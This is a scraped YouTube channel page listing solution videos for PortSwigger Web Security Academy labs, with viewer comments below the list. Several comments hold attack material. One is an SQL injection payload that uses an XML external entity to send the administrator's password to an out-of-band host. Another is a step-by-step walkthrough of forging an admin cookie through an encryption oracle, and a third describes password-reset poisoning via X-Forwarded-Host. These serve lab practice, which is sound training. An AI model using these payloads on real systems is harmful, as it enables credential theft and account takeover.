Michael Sommer
Michael Sommer
  • 286
  • 3 222 036
Lab-01 NoSQL
This video shows the solution to a Portswigger Web Security Academy lab. All techniques shown take place on systems provided by Portswigger for this purpose. All techniques are for educational purposes only and not for criminal activity.
Переглядів: 124

Відео

JWT Lab01
Переглядів 8 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via unverified signature".
JWT Lab02
Переглядів 5 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via flawed signature verification".
JWT Lab03
Переглядів 7 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via weak signing key".
JWT Lab04
Переглядів 3,6 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via jwk header injection".
JWT Lab05
Переглядів 4,2 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via jku header injection".
JWT Lab06
Переглядів 3,3 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via kid header path traversal".
JWT Lab07
Переглядів 2,8 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via algorithm confusion".
JWT Lab08
Переглядів 2,2 тис.2 роки тому
This is the solution video of the lab "JWT authentication bypass via algorithm confusion with no exposed key".
CSRF where token is duplicated in cookie (Audio, Explanations)
Переглядів 10 тис.3 роки тому
This video shows the lab solution of "CSRF where token is duplicated in cookie" from Web Security Academy (Portswigger) Link to the lab: portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie CRLF developer.mozilla.org/en-US/docs/Glossary/CRLF Document.Forms developer.mozilla.org/en-US/docs/Web/API/Document/forms Link to short video ua-cam.com/video/VT9uDDSu1-w/v-deo.html
CSRF where token is duplicated in cookie (Audio, Comments)
Переглядів 2,8 тис.3 роки тому
This video shows the lab solution of "CSRF where token is duplicated in cookie" from Web Security Academy (Portswigger) Link to the lab: portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie Link to video with explanations ua-cam.com/video/5MFAjX4mklY/v-deo.html
CSRF vulnerability with no defenses (Video solution, Audio)
Переглядів 37 тис.3 роки тому
This video shows the lab solution of "CSRF vulnerability with no defenses" from Web Security Academy (Portswigger) Link to the lab: portswigger.net/web-security/csrf/lab-no-defenses
CSRF where token validation depends on request method (Video solution, Audio)
Переглядів 19 тис.3 роки тому
This video shows the lab solution of "CSRF where token validation depends on request method" from Web Security Academy (Portswigger) Link to the lab: portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method
CSRF where token validation depends on token being present (Video solution, Audio)
Переглядів 10 тис.3 роки тому
This video shows the lab solution of "CSRF where token validation depends on token being present" from Web Security Academy (Portswigger) Link to the lab: portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present
CSRF where token is not tied to user session (Video solution, Audio)
Переглядів 18 тис.3 роки тому
CSRF where token is not tied to user session (Video solution, Audio)
CSRF where Referer validation depends on header being present (Video solution, Audio)
Переглядів 7 тис.3 роки тому
CSRF where Referer validation depends on header being present (Video solution, Audio)
CSRF where token is tied to non-session cookie (Video solution, Audio)
Переглядів 22 тис.3 роки тому
CSRF where token is tied to non-session cookie (Video solution, Audio)
CSRF with broken Referer validation (Video solution, Audio)
Переглядів 10 тис.3 роки тому
CSRF with broken Referer validation (Video solution, Audio)
Excessive trust in client side controls (Video solution, Audio)
Переглядів 16 тис.3 роки тому
Excessive trust in client side controls (Video solution, Audio)
High level logic vulnerability (Video solution, Audio)
Переглядів 18 тис.3 роки тому
High level logic vulnerability (Video solution, Audio)
Low level logic flaw (Video solution, Audio)
Переглядів 19 тис.3 роки тому
Low level logic flaw (Video solution, Audio)
Inconsistent handling of exceptional input (Video solution, Audio)
Переглядів 13 тис.3 роки тому
Inconsistent handling of exceptional input (Video solution, Audio)
Inconsistent security controls (Video solution, Audio)
Переглядів 11 тис.3 роки тому
Inconsistent security controls (Video solution, Audio)
Weak isolation on dual use endpoint (Video solution, Audio)
Переглядів 4,7 тис.3 роки тому
Weak isolation on dual use endpoint (Video solution, Audio)
Authentication bypass via flawed state machine (Video solution, Audio)
Переглядів 8 тис.3 роки тому
Authentication bypass via flawed state machine (Video solution, Audio)
Flawed enforcement of business rules (Video solution, Audio)
Переглядів 7 тис.3 роки тому
Flawed enforcement of business rules (Video solution, Audio)
Infinite money logic flaw (Video solution, Audio)
Переглядів 16 тис.3 роки тому
Infinite money logic flaw (Video solution, Audio)
Insufficient workflow validation (Video solution, Audio)
Переглядів 6 тис.3 роки тому
Insufficient workflow validation (Video solution, Audio)
Authentication bypass via encryption oracle (Video solution, Audio)
Переглядів 17 тис.3 роки тому
Authentication bypass via encryption oracle (Video solution, Audio)
Information disclosure in version control history (Video solution, Audio)
Переглядів 32 тис.3 роки тому
Information disclosure in version control history (Video solution, Audio)

КОМЕНТАРІ

  • @chris-y3u5p
    @chris-y3u5p 12 днів тому

    I wasn't able to make it work, for whatever reason I'm getting 400 ' You already have a logged in session on the site' response after using token from *dropped* request. FF and Chrome. I'll try later with a new id.

  • @TheGrandh
    @TheGrandh 15 днів тому

    Thank You Sir for your work. It has helped, I encourage you to do more for those who want to follow the web application hacking and are determined to complete the Portswigger Labs First. Again Thank You for your work.

  • @derekkddj
    @derekkddj 17 днів тому

    deliver exploit to victim never work for me, i never see an access of other Ip in my access log.

  • @anonymous6lack782
    @anonymous6lack782 21 день тому

    Just do some explanation if you want us to learn from you

  • @1_4tom0
    @1_4tom0 24 дні тому

    hard one lab including following the video it costs me a lot to finish, thanks for the video!

  • @herrerajaracristobal
    @herrerajaracristobal Місяць тому

    Thank you for the helpful solution! I wanted to share an interesting detail from my experience with this lab. At first, I mistakenly used the string returned in the response body as the administrator's password. However, after carefully checking the request subdomain in Burp Collaborator, I realized that the actual password was hidden there! It was a valuable learning experience for me, and I hope this comment helps others avoid the same confusion. Thanks again for sharing the solution-it made a big difference! Best regards, C

  • @akashdas-mn3gd
    @akashdas-mn3gd Місяць тому

    No need to go to burp search, just send the GET /resources/js/tracking.js from http history to the repeater. Click send few times the request from the repeater and you will get the administrator API in the response.

  • @safisec
    @safisec Місяць тому

    @MichaelSommer This is the easiest part of BB first time I found it in 2019, it is still found everywhere but can't be exploited further only the origin IP shows and no one BBP accepts this they need exploitation like an internal something leak. Can you further exploit it thanks for Bounty.

  • @tangent69
    @tangent69 Місяць тому

    What is that symbol used between username and pass word

  • @sandro_alexsandro3397
    @sandro_alexsandro3397 Місяць тому

    This feels like cheating

  • @KaranMaurya-f1t
    @KaranMaurya-f1t Місяць тому

    Sir you have the pro version so it was easy for you to enumerate the password but we have community version you should also give an alternative for us😅

  • @ali-wz6nz
    @ali-wz6nz Місяць тому

    00:08 - Understanding session cookies and their impact on web security. 01:08 - Understanding CSRF with Non-Session Cookies and Parameters 02:26 - Updating email addresses in application settings 03:36 - Demonstrating CSRF token validation with non-session cookies in a browser environment. 04:54 - Exploration of browser interactions and CSRF prevention strategies. 06:03 - Overview of CSRF token security challenges with non-session cookies. 07:22 - Using proxy tools for CSRF token generation. 09:23 - Discussion on how cookies impact CSRF security.

  • @akashdas-mn3gd
    @akashdas-mn3gd Місяць тому

    where did you click to get another host parameter in the request section? You just clicked somewhere outside the screen and suddenly another host parameter popped up, where did you click? 3.59 to 4.01?

  • @dr.b3276
    @dr.b3276 2 місяці тому

    Hi Michael, you didn't tell us why you edited that request page on repeater. Its not about just solving the lab. We need to understand the fundamentals.

  • @LionyDwilosari
    @LionyDwilosari 2 місяці тому

    Entere website any username media have crime practice the Will in wipe out of connect suitable system.

  • @MinhNguyen-yf8ud
    @MinhNguyen-yf8ud 2 місяці тому

    For anyone who are new here from the Port Swingger websites and this doesn't work out for you: Remember to add "%3b%20SameSite=None" at the end of the cookie as the Solution suggest Change the Head to HTTP/2 (Not HTTP/1.1) inside the email value: change it to @ instead of %40 or it'll be encoded to %2540 Pay close attention to the URL Good luck hacking I can change the victim's email by using the view exploit but when I send it didn't register as complete lol

  • @StayAway0608
    @StayAway0608 2 місяці тому

    if anyone needs

    • @StayAway0608
      @StayAway0608 2 місяці тому

      ' UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//_____/">+%25remote%3b]>'),'/1')+FROM+dual--

  • @StayAway0608
    @StayAway0608 2 місяці тому

    if anyone needs

    • @StayAway0608
      @StayAway0608 2 місяці тому

      '+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'._____/">+%25remote%3b]>'),'/1')+FROM+dual--

  • @ahamedsobuj7915
    @ahamedsobuj7915 2 місяці тому

    I did 100% same but not solved just shit video

  • @TheEbalmon
    @TheEbalmon 3 місяці тому

    I did it!!!

  • @gamermashoo9756
    @gamermashoo9756 3 місяці тому

    can you help me to resolve the issue java Exploit.java Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true /home/kali/Downloads/Explit/data/productcatalog/ProductTemplate.java:3: error: package common.db does not exist import common.db.JdbcConnectionBuilder; ^ 1 error error: compilation failed

  • @TheEbalmon
    @TheEbalmon 3 місяці тому

    Thanksss!

  • @Random_guy_on_internet_420
    @Random_guy_on_internet_420 3 місяці тому

    to anyone that can't find or open 'git cola' just install any .git reader from your browser, it doesn't matter

  • @bhavani2982
    @bhavani2982 3 місяці тому

    Sir but I am having community issues is there any solution to community edition ???

  • @paulenrique6567
    @paulenrique6567 3 місяці тому

    Just simply add the injected query here so people can see and reuse it.

  • @SimonasKiela
    @SimonasKiela 3 місяці тому

    I'm kind of disappointed in Michael's solutions as he does not explain what each step does. Getting the lab solved is not really the point if one wants to learn how to do it from scratch.

  • @mdveml
    @mdveml 3 місяці тому

    you don't explain anything

  • @WorldJah-oi4dn
    @WorldJah-oi4dn 3 місяці тому

    Thanks man 👍

  • @tbltjrd3918
    @tbltjrd3918 4 місяці тому

    I don't understand why the get request to my account triggers the macro. After the macro testing part, going to intruder to spam the account page with get request seems unrelated.

  • @fatinsirat5372
    @fatinsirat5372 4 місяці тому

    Why we have to put add button twice?

  • @nuralif4343
    @nuralif4343 5 місяців тому

    my lab didn't solved i also tried to put it at the url yet it still doesn't solved my lab, it give me alert but doesn't solved the lab, any help?

  • @momogunsabah
    @momogunsabah 5 місяців тому

    i cannot catch what you saying, even using closed caption not helping me.thanks

  • @FNC-f8b
    @FNC-f8b 5 місяців тому

    That would be great if you explain in more dept. now it is just like you are showing the functions of burp.

  • @leonardocalcagno5688
    @leonardocalcagno5688 5 місяців тому

    Thanks a lot for your solution using git cola.

  • @Carlos-kc8vx
    @Carlos-kc8vx 5 місяців тому

    That not working for me After the creation with ""logo_uri"" it's good but when I take the "client_id": and past it on this request -> GET /client/N084rdIDBx3QaInf-95/logo I have a "Internal Server Error"

    • @Carlos-kc8vx
      @Carlos-kc8vx 5 місяців тому

      And my 0auth server is broken I need to wait and restart the lab

    • @Carlos-kc8vx
      @Carlos-kc8vx 5 місяців тому

      UPDATE : I found, after 4 reset, we need to make all request un HTTP/1.1

  • @yuvibenefactor4296
    @yuvibenefactor4296 5 місяців тому

    you are the worst tbh!!

  • @goultarde
    @goultarde 6 місяців тому

    kill me

  • @L0000Kme
    @L0000Kme 6 місяців тому

    For those who didn’t get it, setting the X-Forwarded-Host header tricks the backend server into generating a password reset link pointing to your exploit server. The frontend server is expected to pass this header to the backend, but since you set it, the link ends up pointing to your server. When the victim clicks the link, their reset token is sent to your server. This lets you capture the token and reset their password..

  • @LMeasy
    @LMeasy 6 місяців тому

    I think the videos from this channel should be banned from portswigger official solutions

  • @LMeasy
    @LMeasy 6 місяців тому

    this channel is harmful for the internet and security community due to the lack of explanation basically at every of the videos. guaranteed frustration if want to "understand" by these videos

  • @dave1972AC
    @dave1972AC 6 місяців тому

    why no sound ?

  • @camilohurtado4814
    @camilohurtado4814 6 місяців тому

    Has anybody been able to solve this lab recently?

    • @mscreative3262
      @mscreative3262 5 місяців тому

      Nooo, have you solved or not ?

    • @Karmik_bhavya
      @Karmik_bhavya 5 місяців тому

      @@mscreative3262 i tried every freaking method even with burp collaborator its just not getting the robot user to click on the link

    • @defaultbykoyomi4371
      @defaultbykoyomi4371 5 місяців тому

      I cannot resolve as well. the burp collaborator is not getting for robot user to click.

    • @camilohurtado4814
      @camilohurtado4814 5 місяців тому

      I wasn't able to either.

    • @fmworld4219
      @fmworld4219 3 місяці тому

      Same here

  • @jessloke7544
    @jessloke7544 7 місяців тому

    1. Initial Setup and Observations Log In and Stay Logged In: Log in with the "Stay logged in" option enabled. Post a comment and observe the requests and responses using Burp Suite. Note the encrypted stay-logged-in cookie. Invalid Email Address Submission: Try submitting a comment with an invalid email address. Observe that a notification cookie is set and includes your email in cleartext. 2. Encryption and Decryption Exploration Burp Repeater Setup: Send the POST /post/comment request to Burp Repeater and rename the tab to "encrypt". Send the GET /post?postId=x request (with the notification cookie) to Burp Repeater and rename the tab to "decrypt". Encrypt and Decrypt Data: Use the email parameter in the "encrypt" request to generate an encrypted cookie. Use the notification cookie in the "decrypt" request to decrypt data and see the output in the error message. 3. Exploiting the Encryption Decrypt Stay-Logged-In Cookie: Copy your stay-logged-in cookie and paste it into the notification cookie in the "decrypt" request. Send the request and note the decrypted format: username:timestamp. Create Administrator Cookie: Copy the timestamp from the decrypted stay-logged-in cookie. In the "encrypt" request, set the email parameter to administrator:your-timestamp (replace your-timestamp with the actual timestamp). Send the request and copy the new encrypted notification cookie. 4. Bypassing the Encryption Prefix Handle Prefix in Decrypted Message: Decrypt the new cookie and observe the "Invalid email address: " prefix. URL-decode and Base64-decode the cookie in Burp Decoder. Adjust for Block-Based Encryption: In Burp Repeater, delete the first 23 bytes from the decoded data. Pad the email parameter with 9 characters to make the data length a multiple of 16, e.g., xxxxxxxxxadministrator:your-timestamp. Encrypt and decrypt the adjusted data to ensure it's valid. 5. Using the Self-Made Cookie Remove Prefix and Finalize Cookie: Delete 32 bytes from the start of the decoded data after ensuring the length is correct. Re-encode the data and use it as the notification cookie. Gain Admin Access: Send the GET / request with the new stay-logged-in cookie (replace the session cookie) in Burp Repeater. Verify that you are logged in as the administrator. Delete User: Browse to /admin and use the delete option to remove the user carlos (e.g., /admin/delete?username=carlos).

  • @jessloke7544
    @jessloke7544 7 місяців тому

    can follow but i won't be able to use this technique in my real life ever....there are lot of the assumption there...which i have no clues on it.

  • @kuycheukung4856
    @kuycheukung4856 7 місяців тому

    This guy explain it better: ua-cam.com/video/kIRIV-BwBTE/v-deo.htmlsi=7hZU-182VJU00gI3

  • @kuycheukung4856
    @kuycheukung4856 7 місяців тому

    From CL.TE to TE.CL without much explanation, oh portswigger u did me dirty!!!

  • @jimdiroffii
    @jimdiroffii 7 місяців тому

    I was hoping this was more of an explanation of the attack, why it works on this lab, etc. Instead it is just a word for word video detail of the solution posted on the lab. As other commenters have commented, I would have expected new codes to be generated each time the macro runs. Still not clear on *exactly* what is happening here, just that following the steps leads to a successful login.

    • @jimdiroffii
      @jimdiroffii 7 місяців тому

      For all practical purposes, it would be impossible to guess the correct MFA code if new codes were being generated on each attempt. If there are 10,000 possible codes, and 2 guesses can be made with each session, the probability of guessing a correct code is ~.0002, or ~.02%. Despite the lab stating that verification codes reset, I don't think that is the case. Either old tokens still work despite the session changing, or the token is not changing between sessions. That may be the bug in the MFA system in this lab, but in any case, it is poorly explained on PortSwigger's side.

  • @ilkerylmaz
    @ilkerylmaz 7 місяців тому

    if you have not burpsuite professional get help from python :)

  • @kilohsakul
    @kilohsakul 7 місяців тому

    Giving us the solution is nice enough, but I was expecting an exaplanation too.

  • @danielgray1073
    @danielgray1073 7 місяців тому

    hey i have burp pro, but i can't find the subdomain im supposed to use for collaborator. you see how you posted in that long string? how did you do that? where did you get it from? OHHHH i got it. when you click the clipboard button, it pastes your collaborator domain to your clip board ha. damn. thanks.